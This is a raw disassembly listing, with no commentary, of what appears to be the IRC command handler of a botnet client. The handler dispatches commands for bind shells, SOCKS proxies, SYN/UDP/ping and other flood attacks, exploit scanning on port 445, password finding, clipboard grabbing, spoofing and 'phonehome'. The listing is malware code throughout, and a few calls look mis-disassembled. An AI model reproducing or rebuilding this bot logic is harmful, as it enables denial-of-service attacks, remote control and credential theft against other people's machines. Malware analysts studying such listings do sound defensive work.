lea eax, [ebp+var_A0]
push offset aD ; "$%d"
push eax
call sub_41C006
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C080
add esp, 14h
test eax, eax
jz short loc_40272F
mov eax, [edi]
cmp eax, ebx
jz short loc_40272F
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4183EC
add esp, 0Ch
loc_40272F: ; CODE XREF: sub_401AC7+C4Dj
; sub_401AC7+C53j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_4026EC
mov [ebp+var_2C8], 1
loc_402744: ; CODE XREF: sub_401AC7+AD9j
; sub_401AC7+B07j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429090
jz short loc_40275D
cmp [ebp+var_2C8], ebx
jz loc_40294E
loc_40275D: ; CODE XREF: sub_401AC7+C88j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_4183EC
lea eax, [ebp+var_C4]
push eax
push offset aUser_1 ; "$user"
push edi
call sub_4183EC
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_4183EC
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AE77
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_4183EC
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_4183EC
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41C080
add esp, 14h
loc_4027CF: ; CODE XREF: sub_401AC7+E00j
test eax, eax
jz loc_4028CC
push edi
push [ebp+arg_0]
call sub_41C080
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41BD70
lea eax, [ebp+var_A0]
push offset asc_42CABC ; ")"
push eax
call sub_41C864
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_40281B
cmp [ebp+var_A0], 39h
jle short loc_402831
loc_40281B: ; CODE XREF: sub_401AC7+D49j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41BD70
add esp, 0Ch
loc_402831: ; CODE XREF: sub_401AC7+D52j
lea eax, [ebp+var_A0]
push eax
call sub_41BEF9
test eax, eax
pop ecx
jle short loc_402857
lea eax, [ebp+var_A0]
push eax
call sub_41BEF9
pop ecx
mov [ebp+var_94], al
jmp short loc_40286B
; ---------------------------------------------------------------------------
loc_402857: ; CODE XREF: sub_401AC7+D79j
call sub_41C062
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_40286B: ; CODE XREF: sub_401AC7+D8Ej
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41B960
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41BD10
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41BD70
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4183EC
push edi
push [ebp+arg_0]
call sub_41C080
add esp, 30h
jmp loc_4027CF
; ---------------------------------------------------------------------------
loc_4028CC: ; CODE XREF: sub_401AC7+D0Aj
mov edi, 1FFh
lea eax, [ebp+var_428C]
push edi
push [ebp+arg_0]
push eax
call sub_41BD70
lea eax, [ebp+var_428C]
push edi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BD70
lea eax, [ebp+var_4EF8]
push offset asc_42CDCC ; " "
push eax
call sub_41C864
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_40291C: ; CODE XREF: sub_401AC7+E6Aj
push offset asc_42CDCC ; " "
push ebx
call sub_41C864
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40291C
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401F6C
add ecx, 3
mov [eax], ecx
loc_40294E: ; CODE XREF: sub_401AC7+C90j
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_8], edi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4095F6
push edi
push offset aRn ; "rn"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4095F6
push edi
push offset aDi3 ; "di3"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4049BD
push edi
push offset aDi3 ; "di3"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4049BD
push edi
push offset aLogout ; "logout"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40491B
push edi
push offset aLo ; "lo"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40491B
push edi
push offset aVersion ; "version"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40490C
push edi
push offset aVer ; "ver"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40490C
push edi
push offset aRulez ; "rulez"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi
push offset aRz ; "rz"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi
push offset aSpeedtest ; "speedtest"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4048E9
push edi
push offset aSt ; "st"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4048E9
push edi
push offset aSecure ; "secure"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4047EB
push edi
push offset aSec ; "sec"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4047EB
push edi
push offset aUnsecure ; "unsecure"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4047EB
push edi
push offset aUnsec ; "unsec"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4047EB
push edi
push offset aBindshell ; "bindshell"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4046E5
push edi
push offset aBd ; "bd"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4046E5
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402AFB
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42CA18
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402AFB: ; CODE XREF: sub_401AC7+101Aj
push edi
push offset aSocks4 ; "socks4"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4045C3
push edi
push offset aS4 ; "s4"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4045C3
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402B4E
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42C9F0
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402B4E: ; CODE XREF: sub_401AC7+106Dj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402B77
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42C9D4
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402B77: ; CODE XREF: sub_401AC7+1096j
push edi
push offset aHttpstop ; "httpstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402BA0
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42C9B8
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402BA0: ; CODE XREF: sub_401AC7+10BFj
push edi
push offset aLogstop ; "logstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402BC9
push [ebp+esi+var_8C]
push 25h
push offset dword_42C9A4
push offset dword_42C998
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402BC9: ; CODE XREF: sub_401AC7+10E8j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402BF2
push [ebp+esi+var_8C]
push 18h
push offset dword_42C978
push offset dword_42C968
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402BF2: ; CODE XREF: sub_401AC7+1111j
push edi
push offset dword_42C95C
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402C1B
push [ebp+esi+var_8C]
push 0Dh
push offset dword_42C950
push offset dword_42C944
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402C1B: ; CODE XREF: sub_401AC7+113Aj
push edi
push offset aSynstop ; "synstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402C44
push [ebp+esi+var_8C]
push 0Eh
push offset dword_42C930
push offset dword_42C924
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402C44: ; CODE XREF: sub_401AC7+1163j
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402C6D
push [ebp+esi+var_8C]
push 10h
push offset dword_42C908
push offset dword_42C8F8
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402C6D: ; CODE XREF: sub_401AC7+118Cj
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402C96
push [ebp+esi+var_8C]
push 11h
push offset dword_42C8DC
push offset dword_42C8CC
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402C96: ; CODE XREF: sub_401AC7+11B5j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402CBF
push [ebp+esi+var_8C]
push 12h
push offset dword_42C8B4
push offset dword_42C8A8
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402CBF: ; CODE XREF: sub_401AC7+11DEj
push edi
push offset aPacketstop ; "packetstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_402E15
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset dword_42C950
push offset dword_42C944
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B63B
push esi
push 0Eh
push offset dword_42C930
push offset dword_42C924
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B63B
add esp, 40h
push esi
push 17h
push offset dword_42C890
push offset dword_42C884
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B63B
push esi
push 16h
push offset dword_42C878
push offset dword_42C86C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B63B
add esp, 40h
push esi
push 11h
push offset dword_42C8DC
push offset dword_42C8CC
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B63B
push esi
push 12h
push offset dword_42C8B4
push offset dword_42C8A8
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B63B
add esp, 40h
push esi
push 0Fh
push offset dword_42C85C
push offset dword_42C84C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B63B
push esi
push 13h
push offset dword_42C83C
push offset dword_42C82C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B63B
add esp, 40h
push esi
push 10h
push offset dword_42C908
push offset dword_42C8F8
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B63B
push ebx
push [ebp+var_4]
push offset unk_42C7F8
push [ebp+var_88]
push edi
call sub_409862
add esp, 34h
jmp loc_401F6C
; ---------------------------------------------------------------------------
loc_402E15: ; CODE XREF: sub_401AC7+1207j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402E3E
push [ebp+esi+var_8C]
push 0Fh
push offset dword_42C85C
push offset dword_42C84C
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402E3E: ; CODE XREF: sub_401AC7+135Dj
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402E67
push [ebp+esi+var_8C]
push 13h
push offset dword_42C83C
push offset dword_42C82C
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402E67: ; CODE XREF: sub_401AC7+1386j
push edi
push offset aUdpstop ; "udpstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402E90
push [ebp+esi+var_8C]
push 17h
push offset dword_42C890
push offset dword_42C884
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402E90: ; CODE XREF: sub_401AC7+13AFj
push edi
push offset aPingstop ; "pingstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402EB9
push [ebp+esi+var_8C]
push 16h
push offset dword_42C878
push offset dword_42C86C
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402EB9: ; CODE XREF: sub_401AC7+13D8j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402EE2
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42C7B0
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402EE2: ; CODE XREF: sub_401AC7+1401j
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4045AB
push edi
push offset aFfstop ; "ffstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4045AB
push edi
push offset aProcsstop ; "procsstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_404593
push edi
push offset aPsstop ; "psstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_404593
push edi
push offset aClonestop ; "clonestop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402F5F
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42C760
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402F5F: ; CODE XREF: sub_401AC7+147Ej
push edi
push offset aSecurestop ; "securestop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402F88
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42C73C
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402F88: ; CODE XREF: sub_401AC7+14A7j
push edi
push offset aScanstop ; "scanstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402FB1
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42C71C
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_402FB1: ; CODE XREF: sub_401AC7+14D0j
push edi
push offset aScanstats ; "scanstats"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40457D
push edi
push offset aStats ; "stats"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40457D
push edi
push offset aTransferstats ; "transferstats"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_404567
push edi
push offset aTrstats ; "trstats"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_404567
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_404551
push edi
push offset aCbstats ; "cbstats"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_404551
push edi
push offset aExploitlist ; "exploitlist"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40453B
push edi
push offset aExplist ; "explist"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40453B
push edi
push offset aReconnect ; "reconnect"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40451C
push edi
push offset aR ; "r"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40451C
push edi
push offset aDisconnect ; "disconnect"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4044FA
push edi
push offset aDc ; "dc"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4044FA
push edi
push offset aQuit_0 ; "quit"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4044B2
push edi
push offset aQ ; "q"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4044B2
push edi
push offset aStatus ; "status"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_404474
push edi
push offset aS_0 ; "s"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_404474
push edi
push offset aId ; "id"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40443D
push edi
push offset aI ; "i"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40443D
push edi
push offset aR3start ; "r3start"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40317D
call sub_418835
test eax, eax
mov eax, offset unk_42C65C
jnz short loc_40314F
mov eax, offset unk_42C638
loc_40314F: ; CODE XREF: sub_401AC7+1681j
push eax
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 1Ch
jmp loc_40830C
; ---------------------------------------------------------------------------
loc_40317D: ; CODE XREF: sub_401AC7+1673j
push edi
push offset aThreads ; "threads"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40435E
push edi
push offset aT ; "t"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40435E
push edi
push offset aAliases ; "aliases"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40433B
push edi
push offset aAl ; "al"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40433B
push edi
push offset aLog ; "log"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40424B
push edi
push offset aLg ; "lg"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40424B
push edi
push offset aClearlog ; "clearlog"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40422F
push edi
push offset aClg ; "clg"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40422F
push edi
push offset aNetinfo ; "netinfo"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4041F5
push edi
push offset aNi ; "ni"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4041F5
push edi
push offset aSysinfo ; "sysinfo"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4041CA
push edi
push offset aSi ; "si"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4041CA
push edi
push offset aKosomakyad ; "KOSOMAKYAD"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_404190
push edi
push offset aKosomak ; "KOSOMAK"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_404190
push edi
push offset aProcs ; "procs"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_404070
push edi
push offset aPs ; "ps"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_404070
push edi
push offset aUptime ; "uptime"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403FE9
push edi
push offset aUp ; "up"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403FE9
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403FCC
push edi
push offset aDrv ; "drv"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403FCC
push edi
push offset aTestdlls ; "testdlls"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403FB3
push edi
push offset aDll ; "dll"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403FB3
push edi
push offset aOpencmd ; "opencmd"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403F3F
push edi
push offset aOcmd ; "ocmd"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403F3F
push edi
push offset aCmdstop ; "cmdstop"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40339E
push [ebp+esi+var_8C]
push 0Ah
push offset dword_42C57C
push offset dword_42C570
jmp loc_408CFE
; ---------------------------------------------------------------------------
loc_40339E: ; CODE XREF: sub_401AC7+18BDj
push edi
push offset dword_42C56C
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4034B4
cmp [ebp+var_8], ebx
jnz short loc_4033D2
push ebx
push [ebp+var_4]
push offset dword_42C558
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 14h
loc_4033D2: ; CODE XREF: sub_401AC7+18EFj
mov eax, [ebp+arg_18]
xor edi, edi
mov [ebp+arg_18], eax
jmp short loc_4033DF
; ---------------------------------------------------------------------------
loc_4033DC: ; CODE XREF: sub_401AC7+195Fj
mov eax, [ebp+arg_18]
loc_4033DF: ; CODE XREF: sub_401AC7+1913j
cmp [eax], bl
jz short loc_4033E6
inc eax
jmp short loc_4033EB
; ---------------------------------------------------------------------------
loc_4033E6: ; CODE XREF: sub_401AC7+191Aj
mov eax, offset aEmpty ; "<Empty>"
loc_4033EB: ; CODE XREF: sub_401AC7+191Dj
push eax
push edi
lea eax, [ebp+var_2C4]
push offset aD_S ; "%d. %s"
push eax
call sub_41C006
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add [ebp+arg_18], 80h
add esp, 24h
inc edi
cmp edi, 3
jl short loc_4033DC
push offset unk_42C528
call sub_415CEE
pop ecx
loc_403433: ; CODE XREF: sub_401AC7+1BF0j
; sub_401AC7+2F0Aj
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
mov [ebp+arg_20], edi
jz loc_401F6C
push [ebp+arg_8]
push offset aSpoof ; "spoof"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_404ADD
push offset aOff ; "off"
push edi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4049E3
lea eax, [ebp+var_2C4]
push offset unk_42C4F4
push eax
mov dword_4CCAC0, ebx
call sub_41C006
pop ecx
pop ecx
loc_40348A: ; CODE XREF: sub_401AC7+2FBDj
; sub_401AC7+2FE3j ...
cmp [ebp+var_8], ebx
jnz loc_409643
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
loc_4034AC: ; CODE XREF: sub_401AC7+6FBBj
; sub_401AC7+7021j
add esp, 14h
jmp loc_409643
; ---------------------------------------------------------------------------
loc_4034B4: ; CODE XREF: sub_401AC7+18E6j
push edi
push offset aGetclip ; "getclip"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403EFE
push edi
push offset aGc ; "gc"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403EFE
push edi
push offset aFlusharp ; "flusharp"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403EE7
push edi
push offset aFarp ; "farp"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403EE7
push edi
push offset aFlushdns ; "flushdns"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403EAF
push edi
push offset aFdns ; "fdns"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403EAF
push edi
push offset aCurrentip ; "currentip"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403E75
push edi
push offset aCip ; "cip"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403E75
push edi
push offset aRloginserver ; "rloginserver"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403D3D
push edi
push offset aRlogin ; "rlogin"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403D3D
push edi
push offset aHttpserver ; "httpserver"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403BB1
push edi
push offset aHttp ; "http"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403BB1
push edi
push offset aTftpserver ; "tftpserver"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403A7A
push edi
push offset aTftp ; "tftp"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403A7A
push edi
push offset aShitycrash ; "shitycrash"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_403640
lea eax, [ebp+var_2C4]
push offset unk_42C44C
push eax
call sub_41C006
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_40361F
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 14h
loc_40361F: ; CODE XREF: sub_401AC7+1B3Aj
lea eax, [ebp+var_2C4]
push eax
call sub_415CEE
mov [esp+10h+var_10], offset aShitycrash ; "shitycrash"
push [ebp+esi+var_7C]
call sub_41C7E0
jmp loc_4097CF
; ---------------------------------------------------------------------------
loc_403640: ; CODE XREF: sub_401AC7+1B22j
push edi
push offset aAsn445 ; "asn445"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403773
push edi
push offset off_42C440
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_403773
push edi
push offset aPhonehome ; "phonehome"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_403697
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"...
push [ebp+arg_4]
call sub_40981C
loc_40368F: ; CODE XREF: sub_401AC7+478j
add esp, 0Ch
jmp loc_401F6C
; ---------------------------------------------------------------------------
loc_403697: ; CODE XREF: sub_401AC7+1BB2j
push edi
push offset aFindpass ; "findpass"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_4036BD
push edi
push offset aFp ; "fp"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_403433
loc_4036BD: ; CODE XREF: sub_401AC7+1BDFj
push [ebp+var_88]
lea eax, [ebp+var_FEC]
push 80h
push eax
call sub_41C100
mov eax, [ebp+arg_4]
push offset unk_42C3C8
mov [ebp+var_FF0], eax
mov eax, [ebp+var_4]
mov [ebp+var_F68], eax
mov eax, [ebp+var_8]
mov [ebp+var_F64], eax
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C100
push ebx
lea eax, [ebp+var_2C4]
push 26h
push eax
call sub_40B3AD
add esp, 24h
mov [ebp+var_F6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FF0]
push ebx
push eax
push offset sub_417269
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_F6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_403762
loc_40374C: ; CODE XREF: sub_401AC7+1C99j
cmp [ebp+var_F60], ebx
jnz loc_40830C
push 32h
nop
call near ptr 268051Bh
jmp short loc_40374C
; ---------------------------------------------------------------------------
loc_403762: ; CODE XREF: sub_401AC7+1C83j
nop
call near ptr 2680DCDh
push eax
push offset unk_42C38C
jmp loc_4082FD
; ---------------------------------------------------------------------------
loc_403773: ; CODE XREF: sub_401AC7+1B88j
; sub_401AC7+1B9Dj
mov al, byte_431A2A
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_431A2A
jz loc_401F6C
mov ecx, edx
loc_40378A: ; CODE XREF: sub_401AC7+1CCBj
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_40378A
cmp al, bl
jz loc_401F6C
mov [ebp+arg_18], edx
loc_40379F: ; CODE XREF: sub_401AC7+1F9Ej
push 0Bh
call sub_40B5F5
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
mov edx, eax
mov eax, 320h
add edx, ecx
cmp edx, eax
jle short loc_4037F2
push ecx
lea eax, [ebp+var_2C4]
push offset dword_42C350
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 20h
jmp loc_403A5C
; ---------------------------------------------------------------------------
loc_4037F2: ; CODE XREF: sub_401AC7+1CF6j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_431808, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], eax
mov [ebp+arg_0], ebx
jz short loc_40385F
mov eax, [ebp+arg_18]
mov esi, offset dword_431808
lea edi, [eax-0Ah]
loc_403829: ; CODE XREF: sub_401AC7+1D7Aj
lea eax, [esi-28h]
push edi
push eax
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_403845
inc [ebp+arg_0]
add esi, 40h
cmp [esi], ebx
jnz short loc_403829
jmp short loc_40385F
; ---------------------------------------------------------------------------
loc_403845: ; CODE XREF: sub_401AC7+1D70j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_431808[ecx]
mov [ebp+var_74C], ecx
loc_40385F: ; CODE XREF: sub_401AC7+1D55j
; sub_401AC7+1D7Cj
cmp [ebp+var_74C], ebx
jz loc_403A70
push 10h
lea eax, [ebp+var_2D4]
pop esi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], esi
push [ebp+arg_4]
call dword_4C92A8
mov al, [ebp+var_8FF]
push esi
neg al
sbb eax, eax
and ax, 100h
